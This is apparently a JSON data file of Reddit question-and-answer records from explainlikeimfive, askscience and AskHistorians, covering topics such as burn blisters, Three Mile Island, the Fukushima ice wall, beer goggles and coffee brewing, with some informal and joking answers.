{"q_id": "bu7zpe", "title": "why does your skin bubble when it gets severely burnt? and what\u2019s the fluid?", "selftext": "For example: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bu7zpe/eli5_why_does_your_skin_bubble_when_it_gets/", "answers": {"a_id": ["ep87q89", "ep88f2k", "ep88u9h"], "score": [9, 3, 3], "text": ["It is essential a biological burn bandage. The fluid is sterile and the bubble keeps everything else out. Burns need to replace the damaged skin which is what keeps bad stuff out. So the bubble and liquid makes a clean environment to regrow the burned skin. Now that that\u2019s taken care of. Do not pop blisters unless absolutely necessary. If you or it pops by itself do not remove the skin bubble. Without the liquid it is not sterile but the skin flap is much better than nothing just put a bandaid or bandage over it.", "A bad sunburn or other burn can cause some damage to the dermis, the living layer of cells below the epidermis.  When this happen, the blood vessels will start to get leaky there to fill it up with plasma, which cushions and protects the epidermis as it heals.  The plasma in it is basically just blood without the big components like cells (except for white blood cells that'll crawl out on their own).\n\nIf it gets infected, foreign cells can reproduce in abundance, causing white blood cells to also go there in abundance, at which point the fluid is called puss.", "The fluid is usually either blood plasma, which is the stuff that makes up your blood that isn't a white or red blood cell, or Serum which is the same thing as plasma, but without any of the clotting factor that plasma has.\n\nSome blisters can become filled with blood directly after injuries.  They have the sadly boring name \"blood blisters.\""]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/HadToHurt/comments/btfdu4/hot_oil_poured_down_the_back_of_my_arm/?utm_source=share&amp;utm_medium=ios_app"], "answers_urls": [[], [], []]}
{"q_id": "9hb292", "title": "what happens if an astronaut sneezes in his space suit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9hb292/eli5_what_happens_if_an_astronaut_sneezes_in_his/", "answers": {"a_id": ["e6alixw", "e6alpmv"], "score": [51, 8], "text": ["Actual ELI5: Hopefully snot doesn\u2019t hit the glass on the inside because the astronaut doesn\u2019t have a way to wipe it clean.  He/she can only smear it around with their nose. You can\u2019t get your hands inside the suit. The astronaut has to go back inside the space ship and take off the suit to clean the glass. Going back into the space ship takes a lot of time and effort which means the astronaut is not doing the job outside the space ship.  Astronauts typically go outside the space ship to fix a broken space ship. It is important to fix your space ship so try not to sneeze on the glass that lets you see outside the space suit. \n\nMore detail:\n\nI would try and make sure I sneezed down towards my chest to avoid getting the product of a sneeze on the clear glass. I wouldn\u2019t want snot to obstruct my view for the rest of the space walk. Spitting on the glass and rubbing it with your nose to clear the snot is your best shot. Not great. You need to clearly see the tools and stuff you are fixing on the outside of the space ship through the restricted field of view. There is a valsalva device on the lower left side of the helmet glass so that the astronaut can rotate their head left and down to plug their nose on the valsalva device. Once their nose is plugged up they can try to blow slightly out their nose which clears their ears during pressurization and depressurization.  Long story short the valsalva device sticks out in the helmet and is a great way to itch your nose to prevent a sneeze. If you sneezed in the middle of a spacewalk on the glass you would find a way to make it work: look out the side of the glass that doesn\u2019t have snot, spit on it and rub the snot away with your nose, get help from the other spacewalking astronaut, etc.  ", "Astronauts are trained to aim their sneezes down so anything coming out hits below the visor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "sval5", "title": "three mile island accident", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/sval5/elif_three_mile_island_accident/", "answers": {"a_id": ["c4hacaw", "c4haddx", "c4hb0pq", "c4hc1mo"], "score": [17, 9, 2, 3], "text": ["Nuclear Energy is a kind of energy that requires us to take a very powerful reaction, make a safe place for it to be started, start it, watch it, control it.\nThree Mile Island (TMI) accident was a situation gone bad and an inadequate design for proper watching/controlling.\n\nThe accident was caused by a bad valve.  This valve caused a situation in which the operator had a hard time understanding the problem.   \nWhen this accident occured the control system was designed to make a noise when probelm A,B,C, and D happened.  when problems A-Z happened there were lights to turn on.  \nWhen this valve got stuck most of the lights turned on and all of the announcements did.  This made everyone get very scared.   \nWhen people get scared sometimes they don't think as well as they usually do.\n\nThe accident eventually caused a partial meltdown.  In nuclear reactors everyones big fears are meltdown (when the reactor melts into a big pile of unctrontrollable fission products) and environmental release.  \n\nThis reactor had a partial meltdown, which means it did not reach critical mass, and it did have an environmental release, which means some of the gasses got into the air. \n\nFrom this accident the USNRC required that all nuclear plants must share almost every mistake they make.    It is quite often that someone falling off a loading dock, falling down stairs, marking a part wrong, will cause a notificatio to the entire industry.\n\nAlso from this accident it caused the nuclear industry to adopt strict requirements on displays and alarms.   It categorizes the alarms in order of importance,  they must also follow ITAACs and other requirements.\n\nAt the time the plant was very new so the accident is well known to be causesd by wolverine and some crazy mutant made with parts of other mutants having torn the bitch up with their mutant powers. \nThe enigma is how did the crazy mutants become mutants before the radioactive environmental release?\n\nEdit: Terminology", "Simple wikipedia does a great job at summing up the disaster. [Simple Wikipedia on Three Mile Island.](_URL_0_) Not exactly at a 5 year old level, but very understandable, as I didn't know quite what it was either.", "They had a partial meltdown, a failure in this case caused by some mechanical problems.  The worst that can happen is the entire thing ruptures and spews nuclear crap everywhere.  It didn't leak that much so it only costed us a billion.\n\nIt makes nuclear look bad because this really shouldn't have happened.  Now nuclear power plants have a baby sitter because this kid was really stupid.", "There are no good ELI5 explanations here so I will give it a shot.  Basically, there was a pressure relief valve that became partially stuck open.  This caused temperature and pressure in the core to go down so the reactor operator pulled control rods out to raise average coolant temperature.  He was misidentifying the loss of coolant accident at this point.  By raising average coolant temperature, saturation conditions (conditions at which water will boil) in the core were met which caused pressure to go back up as the coolant began flashing to steam (steam occupies about 1000x more volume than water).  This also raised pressurizer level back up.  The pressurizer is a component of the reactor which is used as a surge volume in the primary system and also maintains pressure within the core.  If its level were going down rapidly, that would alert the reactor operator that there was a loss of coolant casualty.\n\nSteam pockets began forming in the core since temperature was high at this point and coolant level was actually low (saturation conditions met).  This blocked any coolant flow through the reactor and temperature skyrocketed.  This went on for a few hours until the operators were relieved by the next watch.  The next watch immediately noticed the core was at saturation conditions and identified the loss of coolant accident."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://simple.wikipedia.org/wiki/Three_Mile_Island_accident"], [], []]}
{"q_id": "26keuy", "title": "why is arial combat often referred to as dogfighting?", "selftext": "I apologise if this has been asked before.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26keuy/eli5_why_is_arial_combat_often_referred_to_as/", "answers": {"a_id": ["chruuo6", "chse23i"], "score": [59, 2], "text": [" The term originated during World War I, and probably derives from the preferred fighter tactic of positioning one's aircraft behind the enemy aircraft. From this position, a pilot could fire his guns on the enemy without having to lead the target, and the enemy aircraft could not effectively fire back. When two fighter aircraft circled each other trying to achieve this position, [it resembles two dogs chasing each other's tails.](_URL_1_)\n\nEDIT: [Here you'll see an example of a dogfight between jets at an airshow. The plane to the rear tries to get on the tail of the plane(s) at the front, while the plane(s) at the front try to shake the rear plane off. Going around in circles like dogs chasing tails.] (_URL_0_)", "Arial Combat! The battle of the fonts!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://youtu.be/5847b_VFPCw?t=1m16s", "http://stream1.gifsoup.com/view5/3016856/dog-chasing-tail-o.gif"], []]}
{"q_id": "415qkr", "title": "why was there no mass immigration to europe like we are seeing today during the iraq and afghanistan invasions?", "selftext": "What factor of the Syrian civil war caused this massive wave of refugees that wasn't present during the Iraq and Afghanistan wars?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/415qkr/eli5_why_was_there_no_mass_immigration_to_europe/", "answers": {"a_id": ["cyzw7ed", "cz096ep"], "score": [2, 2], "text": ["I'm not an expert, but I'd guess it's the overly presence of mass atrocities and the lack of buildings that aren't bombed/villages that aren't plundered in this war relatively to the other wars.\n\nELI5: this situation is way more fucked for civilians", "Multiple reasons come toghether: \n\nThe first one is the most obvious one and I think it is okay for Syrians or Afgha s entering european countries. The second and third are quite bad for the refugee-situation and might lead to closed outer european borders very soon.\n\n1) The war in Syria is actually quite bad. 1 million Syrians are in the Lebanon, 1 million in Jordan and 2 million are in Turkey from a total population of ~25 million Syrians and around 400-700k in Europe. The refugees in the first mentioned states didn't have all too many hopes left, that the civil war will be done soon,  so they search for a better life in Europe. They want to provide for their family and if that is possible in an european state, why not going there ?\n\n2) Massive advertising from traffic gangs in the balkans. The balkan states have massive unemployment and lots of people have no faith about their future life in their homecountry. The traffic gangs gave them hope for a better life in Germany. In September/October 15 up to 40% of refugees were people from the balkan states, who barely have chances to get accepted. The german government started some campaigns ( \"noone from the balkans will be accepted\" ) in those states and there were remarkably less people from the balkan states starting from November 15.\n\n3) People around the globe hear about the asylum situation in Europe. They read about the fact, that only few people are sent back to their homecountries even in case they are refused asylum. The government accepts them being in the country, as long as they are not being criminal. Sending back criminals is incredibly difficult as you can see in the example below. Word spreads fast with Internet being around everywhere and even people from Africa can imagine a better life in Europe, because \"all\" they have to do is getting to Europe. \n\nSomething to note:  Some people are actually send back, but it is a very, very small number.\n\nOne \"trick\" is not to bring a passport with them, so they can't possibly be sent back. Imagine this situation:\n\nGermany: \"Hey Senegal, we have some people from your country and we would like sending them back, but we are not entirely sure about their origin. Can you please take them back ? \"\n\nSenegal: \" Oh no germany, those guys are probably from the Ivory Coast, better ask them \"\n\nGermany goes to the Ivory Coast and asks the same question.\n\nIvory Coast: \"Oh no, those guys are probably from Nigeria, better ask them\"\n\nAnd the never ending cycle begins, especially if those guys are criminals with no passports. Which country wants to take back their criminals ? Or criminals with an unknown origin ?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "21ntp0", "title": "How does, and why should, inflation answer the horizon problem?", "selftext": "I often hear how the isotropy in the universe is a characteristic that requires explanation and that inflation theory provides this. To my (obviously untutored) mind, the expanding universe would seem to produce this all on its own :- two points that are  > 14bn ly apart were, after all, once on top of each other. So, a) what's wrong with this, and b) what does inflation theory do to correct it?\nThanks.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21ntp0/how_does_and_why_should_inflation_answer_the/", "answers": {"a_id": ["cgewkn6"], "score": [3], "text": ["So the horizon problem states that some regions of space are too far away from each other, and there is no way for them to ever be in any kind of contact. For example, how do regions 1 and 2 have identical temperatures, if there wasn't enough time from the beginning of the universe to this day, to ever be in contact? \n\nWhat do I mean by that? We know nothing can travel faster than the speed of light, and even at that speed, some regions simply wouldn't have enough time to exchange heat.\n\nInflation simply says that everything was once close to each other and therefore in contact, but there was this rapid expansion of space (faster than the speed of light) that took everything too far away from each other to ever communicate again.\n\nThe point is at the end of the day, if the universe didn't expand super fast in a very small time, then the isotropy of the universe would break down and we would see regions with measurable temperature differences for example.\n\nThe [wikipedia](_URL_0_) page addresses your whole question much better than I ever will! :p"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Horizon_problem#Inflation"]]}
{"q_id": "3wuwqx", "title": "When did Scandinavians (particularly the women) begin to be stereotyped for their beauty? In history were there other countries in Europe that were regarded by the rest of Europe to have the most beautiful women?", "selftext": "I know historically Circassians and Georgians were regarded to have had very beautiful women (_URL_0_), even though today when I look at them they don't strike me as being above-average in attractiveness. Today I guess it's the Scandinavians people regard to be very beautiful, and I'm wondering whether this is a recent stereotype? How long has this stereotype of Scandinavians existed? Historically have there been any countries or regions in Europe or in the rest of the world that Europeans typically believed had the most beautiful women? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3wuwqx/when_did_scandinavians_particularly_the_women/", "answers": {"a_id": ["cxzh8jf", "cxzosmm", "cxzq59e", "cxzq7jy", "cxzr8aa"], "score": [352, 22, 70, 48, 117], "text": ["Would this also depend on when stereotypically Scandinavian traits (e.g. blond hair, blue eyes, height, slenderness) began to be considered attractive?", "This is a stereotype popular mostly in the USA, and it is more nuanced than that. It encompasses the idea that Scandinavians (particularily Swedes) are beautiful, kind of naive, innocently sexually attractive and sexually liberated. \n\nIts part of a larger stereotype that Europeans are more sexually liberated (and presumably desirable), than Americans.\n*(Notably, this stereotype is not particularily popular in Europe, where the role of a \"sexy foreigner\" in popular media is usually filled by Slavic women and Mediterrean men, not Scandinavians.)*\n\nIts hard to pin an exact date on when this stereotype appeared, but its most likely after 1960, when examples of (often sexually explicit) Scandinavian cinema reached the US.\n\nSource:\n\n*Scandinavian Blue: The Erotic Cinema of Sweden and Denmark in the 1960*\n\n*Rohner, Jean-Christohpe; Rasmussen, Anders. \"Recognition bias and the physical attractiveness stereotype\". Scandinavian Journal of Psychology 53*", "Not sure if this answers directly to your question as you're asking about the existence of *a stereotype*, but from what we know about the Eurasian slave trade we could get at least some idea how blond Nordic people were seen in the southern parts of medieval and pre-modern Eurasia.\n\nA relevant paper: [The Baltic Finnic People in the Medieval and Pre-Modern Eastern European Slave Trade](_URL_1_)  \nAlso this blogpost gives context and details with more sources: [Blonde cargoes: Finnish children in the slave markets of medieval Crimea](_URL_0_)  \n\nCrimea was the center of the Black Sea slave trade. In the Crimean markets blonde girls and boys captured from Finland and Karelia were the most valued slaves because of the color of their skin and hair. And their exceedingly high value made it worthwhile to capture them in the North and to transport them to these far-away markets. \n\n >  The prices they commanded, however, were simply colossal; one source notes that girls who could be purchased for as little as 5 altyn in Karelia could be resold for 6,666 altyn even before they reached the Khanate \u2013 a mark up in excess of 133,000 percent. The higher price, equivalent to 200 roubles or (in about 1600) 250 sheep, was also about five times the usual price for a Crimean slave. It is no surprise, in these circumstances, that slaves from the far north were highly sought-after for their colouring \u2013 nor that their special characteristics were scrupulously noted in the slave registers so carefully kept in the ports that lay at the heart of this commerce in human misery: \u201cwhite skin, white hair.\u201d\n\nOf course, there are many factors into a price: rarity, exotism, luxury etc. yet the high prices tell us these slaves were also valued for their beauty. And the participants on the slave markets must have been informed about them as there was networks for capturing, transporting and trading these blonde slaves. \n\nSo the clientele knew about these people, sometimes even seeking after them in the markets (for example, Sh\u0101h Abb\u0101s of Persia sent out delegations to slave markets that acquired three Finnish girls in Moscow and 30 more in Kazan), the slave traders knew where to get them, and raids were extendend as far as the coast of the Gulf of Bothnia in Finland to capture blonde boys and girls. \n\nBut I'm not sure if that qualifies as a stereotype in the sense you were asking about.", "I'll answer part of your question. In Hollywood, the \"blonde bombshell\" female ideal which is ascribed to Scandinavian women took hold ca 1930-1933. The 1920s were the era of the boyish and flat-chested Flappers, who had short, dark hair - in 1933 silver-blonde Jean Harlow broke through to be the #1 female film star, and Fay Wray got to wear a blonde wig for her role in King Kong.  \nSwedish-born Greta Garbo (who had light brown hair) was already a star, topping the charts with Grand Hotel in 1932, and Carol Lombard had her hair bleached for a number of hit comedies from 1930-1936.\n\nSources: \n\n* Barnaby Conrad, The Blonde: An Illustrated History of the Golden Era from Harlow to Monroe\n* Rooney  &  Viera, Harlow in Hollywood\n* [Pictures of 1930s stars and their \"Hollywood Makeover\"](_URL_0_)", " **Commenters:** See all those removed comments? Those are short responses that don't really answer the question and aren't up to the standards that we like to keep around here.\n\nBefore posting an answer, ask yourself:\n\n* Do I have the expertise needed to answer this question?\n\n* Have I done research on this question?\n\n* Can I cite my sources?\n\n* Can I answer follow-up questions?\n\nIf you don't/can't for any of those questions, it's probably better you don't post your response."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Circassian_beauties"], "answers_urls": [[], [], ["http://mikedashhistory.com/2015/01/15/blonde-cargoes-finnish-children-in-the-slave-markets-of-medieval-crimea/", "http://booksandjournals.brillonline.com/content/journals/10.1163/18763316-04101006"], ["http://hubpages.com/entertainment/1930s-Stars-Before-Their-Hollywood-Makeover#slide8123527"], []]}
{"q_id": "1yp1tm", "title": "why can't my smartphone pick up local tv channels?", "selftext": "Why can't it pick up channels without wifi seems like it would be easy technology to include, i have Netflix on phone but connection is really spotty where i.work wish i could just switch to a TV antenna and pick up local channels.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yp1tm/why_cant_my_smartphone_pick_up_local_tv_channels/", "answers": {"a_id": ["cfmgri9", "cfmguym", "cfmh51p"], "score": [5, 5, 2], "text": ["Well, whenever I want to listen to the radio on my phone I must plug in my earphones.  The wire serves as the antenna.  Maybe the reason it can't pick up TV broadcasts is similar.  Television antennas tend to be bigger than those of personal radios so that might make it impractical.", "The smartphone would have to have an over the air tuner (and an antenna) built into it. The tuner would drain the battery, cause the phone to overheat, and use a lot of processing power to decode/play the digital signal.", "It [exists](_URL_0_), but I suppose the market for it is too small."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Mobile_television"]]}
{"q_id": "1lp4y1", "title": "How would you actually construct an ice wall?", "selftext": "With the news that japan is trying to use an ice wall to help contain Fukushima how would would you actually construct it because from the articles I've been reading the concept doesn't exactly seem quite sound for what it is suppose to do.\n\n[Ice Wall](_URL_0_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lp4y1/how_would_you_actually_construct_an_ice_wall/", "answers": {"a_id": ["cc1gc27", "cc1otey"], "score": [8, 2], "text": ["The answers are right in the article\n\n >  The plan involves pumping coolant through underground pipes to freeze the soil around the reactor buildings. \n\nIt won't be a giant wall of frozen water. Its basically involves freezing the surrounding ground ~~around~~ containing the contaminated area.\n\nAnother [article](_URL_0_) explains it better.\n\n >  Here's how it works. Freeze pipes, made from normal steel, are sunk into the ground at regular intervals. The spacing is normally about one meter. Then, some type of coolant is fed into the pipes. Sopko uses a brine -- salty liquid which can be cooled far below the freezing point of fresh water without turning into a solid. On the surface, a big refrigerator chills the liquid, which is pumped into the pipes. The liquid extracts heat from the ground, and returns to the chiller, where it is recooled and sent back down. It's not a fast process and can take many months. (Sometimes, for speed's sake an expendable refrigerant like liquid nitrogen is used, but it requires trucking in tanks full of the stuff.)\n\n >  First, ice forms in columns around the freeze pipes. Then, as time goes on, the ice spreads out, linking the columns. Finally, an impermeable wall forms. For containment, it's important that the ice extend all the way down to the bedrock, so that the walls of ice form a box with the bedrock at the bottom. If an earthquake cracks the ice or the power goes out for a period of times, refrigerating the ground again re-seals the wall. \n\nHopefully someone with a background in civil engineering can come along and explain better.", "To follow up on RayBoogs, one important point is that it is not rocks that are freezing but water that is present in the pore space of the rocks. Pore volume in sedimentary rocks can vary from 0 to ~30%. Most rock layers near the surface are saturated with water that may be fresh or saline to varying degrees, which might play a role in the temperature required to create the ice wall. \nFreezing soil (with air-filled pore space) would be less effective, but possibly ultimately useful in  preventing the movement of radioactive plume. Soil near the surface has a high volume of air which could easily be displaced by moving fluid. The frozen soil could initiate the growth of the ice wall as fluid encounters the sub-freezing soil area (assuming the heat flux created by the circulating coolant was great enough to freeze fluid as it encountered the target area), eventually decreasing pore space and 'growing' a wall.\n\nThe article quote states that the ice wall must \"extend all the way to bedrock\". Nothing about bedrock guarantees that it is impermeable to fluid. Best case scenario would be an intrusive igneous rock with zero pore space and no fractures. However, even in the case of a zero porosity rock, most rocks especially those found closer to the surface in these relatively shallow depths will have some fractures that may allow fluid to flow. Perhaps at Fukushima, even directing the plume to lower permeable zones might be ok as it would require greater pressure to drive the fluid deeper. It sound like there is some hydrostatic head driving the groundwater flow here, so there might be some degree of pressure drive pushing the plume toward the sea."]}, "title_urls": [], "selftext_urls": ["http://www.gizmodo.co.uk/2013/09/japanese-government-will-bankroll-a-giant-ice-wall-at-fukushima/"], "answers_urls": [["http://www.theatlantic.com/technology/archive/2013/08/how-to-build-an-ice-wall-around-a-leaking-nuclear-reactor/278634/"], []]}
{"q_id": "7uqoud", "title": "osteopathia", "selftext": "A friend of mine was seeing a \"reabilitational masseur\" - his words, not mine - who is practicing Osteopathia, kraniosacral therapy and body-emotional liberation. He studied at The Upleger Institute (Inc.) and is certified to provide a SomatoEmotional Release-1 (his words, not mine).\n\nWhat is all that noise? Thank you for the explanation.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7uqoud/eli5_osteopathia/", "answers": {"a_id": ["dtmkyfw"], "score": [7], "text": ["Osteopathic medicine is differentiated from allopathic medicine (the kind of doctor you are use to seeing) by philosophy of care.  Osteopathic doctors tend to favor holistic treatments and sometimes natural remedies before resorting to prescribing pharmaceuticals or recommending surgery/invasive procedures.  \n\nEssentially most DO's believe that most of a person's typical medical problems can be prevented by living a healthy lifestyle and using natural supportive therapy for illness (stuff like vitamins, sleep, staying hydrated), rather than immediately jumping to drugs.  They tend to treat pharmaceuticals/invasive procedures as a last resort.  \n\nHowever, most modern allopathic medical schools have modernized the philosophy of care that they teach to incorporate a more osteopathic approach, and modern osteopathic schools teach all the same stuff that allopathic schools do.  Currently, a DO and an MD are equivalent certifications in the US.  \n\nYou should go read the wikipedia page about Osteopathic medicine.  It explains the history of the practice, why a lot of people dont trust osteopathic doctors.  Basically, back in ancient times, they taught a lot of pseudoscience and snake oil (kinda like when a chiropractor uses \"adjustments\" to cure someone's flu).   However, modern osteopathic schools have done away with that crap.   \n\nEdit:  however, sounds like ur friend's \"masseuse\"  isnt a doctor of osteopathic medicine, and is instead some kind of snake oil pusher, selling the ORIGINAL kind of osteopathic treatment, which is kinda like chiropractic medicine (ie: using pressure points and joint adjustments to \"cure\" illness)\n\nI dont mean to shit on this too hard, cause there is some value to this kind of therapy.  If you believe it's helping, it can have placebo effects, and if you're just getting the treatment as a way to relax, it can also be helpful.  My problem with it is a lot of people sell this service as a safer alternative to real, scientifically backed medicine.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "14cixa", "title": "What is the purpose, if any, of the second and third generations of matter?", "selftext": "It seems to me that if a top quark, for example, only exists at very high energies and is too unstable to really do anything other than *exist* (and for a very brief time at that) that the particular event that created it might as well have just generated a cascade of lower generation particles. Do the second and third generations have a justification in the current model or do we only include them because they are observed to exist?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14cixa/what_is_the_purpose_if_any_of_the_second_and/", "answers": {"a_id": ["c7btxbg"], "score": [9], "text": ["there's not a \"purpose\" to any particle's existence. They just are."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "uk1wy", "title": "beer goggles", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/uk1wy/eli5_beer_goggles/", "answers": {"a_id": ["c4w24ts", "c4w252j", "c4w2x6k", "c4w38ra", "c4wa8nw"], "score": [7, 173, 2, 11, 3], "text": ["Science says that beer goggles are real, but it depends on a variety on other factors such as the amount of drinks you've had and the visibility of the person, surprisingly visibility matters more than alcohol.\n\nSources: \n_URL_0_\n_URL_1_\n", "Hey, five year old, put down the beer.\n\nI think, before you understand \"beer goggles\", you need to understand a little about how your brain works.\n***\n**ELI5: The gray matter in my head (my brain)**\n\nImagine we tied you to a chair and put tape over your mouth. Your only way to communicate is by blinking to your friends. You blink twice to tell Joe to scratch your back, three times if you want Susan to get you a glass of water, so on and so forth.\n\nYou are acting as your brain, coming up with and initiating signals to your friends. Your act of blinking is working as a \"neurotransmitter\", which is a chemical process of sending a signal between cells - yourself and your friends. The air between you and your friends is called a \"synapse\", which is just the space between cells where communication occurs.\n\nGot it?\n***\n**ELI5: How beer affects my gray matter**\n\nLet's take a sheet of wax paper, which is something you can kind of see through but things aren't as detailed, and place it between your eyes and your friends. Your friends can still kind of see when you blink, but they may miss a blink here and there.\n\nCongratulations, you're drunk. Beer is acting like that wax paper between your synapses, intercepting or altering the way the neurotransmitters in your body handle communications.\n***\n**ELI5: What exactly is that beer doing to me?**\n\nThat wax paper between your blinks and your friends can cause quite a bit of miscommunication, and the more you drink, the more sheets of wax paper are used. You may blink three times for water, but Joe only saw two blinks so he scratches your back. You might blink twice for Joe to scratch your back, but Susan thought she saw three so she gets you some water.\n\nIn more modern-life terms, suddenly, you're making poor judgement, feeling depressed, forgetting things, using your left hand when you meant for your right, and on and on. Alcohol simply inhibits the communication between your brain - your control center for *everything your body does* - and your body.\n***\nPSA: Moderation is key, and only if you're over your government's legal age requirement, and never drink and drive.", "As you become more drunk your brain has problembprocessing images. When you see a face of someone you like your mind processes it ineffectivly, and tries to make the image of the face more symmetrical. This is why when drunk, people appear more attractive to you. ", "When you drink a lot of stinky water, it makes ugly people pretty.", "\"Beer goggles\" is a cute way of saying that when a person consumes enough alcohol, people who they would normally only be slightly attracted to seem to become more attractive. As if drinking beer has magically changed their vision to make people prettier.    \n  \nThere's really no evidence that alcohol actually affects vision in this way; but it definitely has been shown to affect people's judgement and inhibitions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cracked.com/article_19360_7-questions-you-didnt-know-could-be-answered-with-math.html", "http://www.msnbc.msn.com/id/26205250?GT1=43001#.T8ymL7-kAy4"], [], [], [], []]}
{"q_id": "8zbil3", "title": "why don\u2019t we make coffee like we do tea, by seeping the grounds in a bag?", "selftext": "Or alternatively, would it be possible to make tea like we do coffee, with a drip machine? Also is there a reason we don\u2019t make a chocolate drink using cocoa beans ground up like coffee grounds? Would it just be too bitter?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8zbil3/eli5_why_dont_we_make_coffee_like_we_do_tea_by/", "answers": {"a_id": ["e2hfkda", "e2hid4e", "e2hje9m", "e2hjewg", "e2hjgix", "e2hll5a", "e2hm6bq", "e2hmxzh", "e2hqcc7", "e2hs2k9", "e2hs4e6", "e2hsovq", "e2hsrbu", "e2hsux9", "e2htqxs", "e2hveku", "e2hvkkj", "e2hw8on", "e2hwllp", "e2hwy5w", "e2hx321", "e2hxlts", "e2i24wk", "e2i26ug", "e2i2hbh", "e2i2w7v", "e2ibjpb", "e2ickdj", "e2icopp", "e2id04p", "e2id0hw", "e2idie1", "e2iedq6", "e2igx3t", "e2ila9p", "e2ilvg3", "e2ilwpp", "e2ioju7", "e2ipczm", "e2iq5rs", "e2iwruq", "e2j34ow", "e2j47l1", "e2j4czb"], "score": [41, 261, 300, 37, 18, 7830, 13, 2, 7, 3, 2, 3, 75, 5, 3, 6, 3, 2, 6, 3, 3, 2, 2, 2, 2, 3, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["I think it all has to do with the extraction of soluble solids. There are many different ways to brew coffee, but the best method for producing the \u201cperfect cup\u201d is to get the water temperature just below boiling and pour it over the grounds. The amount of time the water is in contact with the grounds is also very important. Too much time yields too much extraction, and thus a bitter cup. Just as important is the consistency and size of the grind. Tea, in the other hand, is best when the water has more contact with the leaves.  It must simply take longer to extract the soluble solids from leaves. ", "They do make coffee bags[ like you describe](_URL_0_). I seem to remember one of the major U.S. brands trying this, but I don't believe it caught on.", "I would argue that a French press is pretty similar to the way we make loose-leaf tea. As others have said, the tea leaves need more contact with the water so a drip-type coffee maker wouldn't work with regular tea.", "Every morning I choose three different teas to mix together along with a bit of coffee. I put the raw ingredients into a cup without a bag or anything, add hot water, add milk, and then drink it through a straw with a filter on the end as to not sip up tea leaves/coffee grounds. Before I got really into tea, I would put 2/3 coffee and 1/3 tea into my coffee machine and it also worked perfectly fine.\n\nThe method i currently use is more effective for tea than it is coffee, and my old method is more effective for coffee because coffee's optimal temperature is higher than tea, but both methods certainly work for both.\n\nEdit: since this seems to bother people, on my days off I'll typically have about 4 or 5 cups of this, and when I work I usually have about 3. I pee roughly every 45 minutes or so.", "I wouldn't say it's *always* better for tea leaves to contact water for a longer time... it's possible to over-brew tea which causes it to be bitter. But most types of teas, brewed the way most people like them, require longer contact with water than coffee.\n\nComments have given a few different names for it but a coffee machine that brews coffee this way is called a **french press**. \n\nKeeping the coffee grounds loose in the water (like a french press does) instead of packed in a bag lets them all contact water, instead of leaving some dry, without needing as much time to accomplish this. It's a variant on an idea much like a tea bag, that fits the quicker brew time of coffee.\n\n", "edit: RIP my inbox\n*Coffee cherries are their own fruit from the coffee tree.  We do not make coffee from the pits of the cherries we eat.  Please do not try this.  You could die. Thank you.\n\nFirst off, remember that coffee is the roasted seed of a cherry that is pulverized in a grinder, while tea is actual dried leaves from the tea plant.  Because we can grind coffee really coarsely or super fine, we control the extraction time to get the proper strength from the coffee.  Finer grind has more surface area (i.e. espresso), and we can get all the good stuff out in under 30 seconds.  A big, coarse grind like for french press, can take 4 minutes.  As for why we don't use coffee bags regularly, it's for a couple of reasons.  Coffee stales very quickly once ground, much faster than tea.  It also has to do with 'fines'.  Because coffee is a brittle, organic seed, when it is ground, you get a range of particles from large to small.  You'd need a bag permeable enough to let the coffee steep and for water to move through it, but also not allow all of the fine particles through.  This is simple with gravity brewing like pour over or drip because the water will eventually get out.  It's not really moving if it is in a bag in a cup, so the filter would have to allow for the smaller stuff to wind up in the cup and your coffee will be 'muddy'.  This happens with french press too, and some people enjoy the body of this type of coffee for that reason.\n \nTea, on the other hand, more or less behaves the same, and needs to be steeped for several minutes to get the most flavor from it.  Chopping the leaves up finer helps somewhat, but it seriously affects the flavor of the tea, as breaking the leaves causes them to lose a lot of their essential oils and flavor.  If you've ever had a really nice loose leaf black tea next to, say, Liptons bagged tea, there's no comparison.  So, yes, you could mill up tea leaves small enough to make a drip machine make 'tea', but it probably wouldn't be very nice.\n\nYour last question about cocoa - Chocolate is the most complicated process of the 3.  Cacao beans are fermented, dried, roasted, dechaffed, ground, pressed with sugar, blended with cocoa liquor....  It's a crazy process that I can't understand how we figured out it was possible in the first place.  If the roasted 'cocoa bean', or cacao nib were just ground up and steeped, it would be very bitter, and probably not to your taste, but this was basically what was drank by the ancient peoples of Mesoamerica (with added chili and spices for some fire).  Instead, we just make sweetened cocoa powder that is ground super fine, kinda water soluble and we drink the 'grinds', unlike coffee.", "We do:\n\n_URL_0_\n\nThey taste like filter coffee. I\u2019m guessing 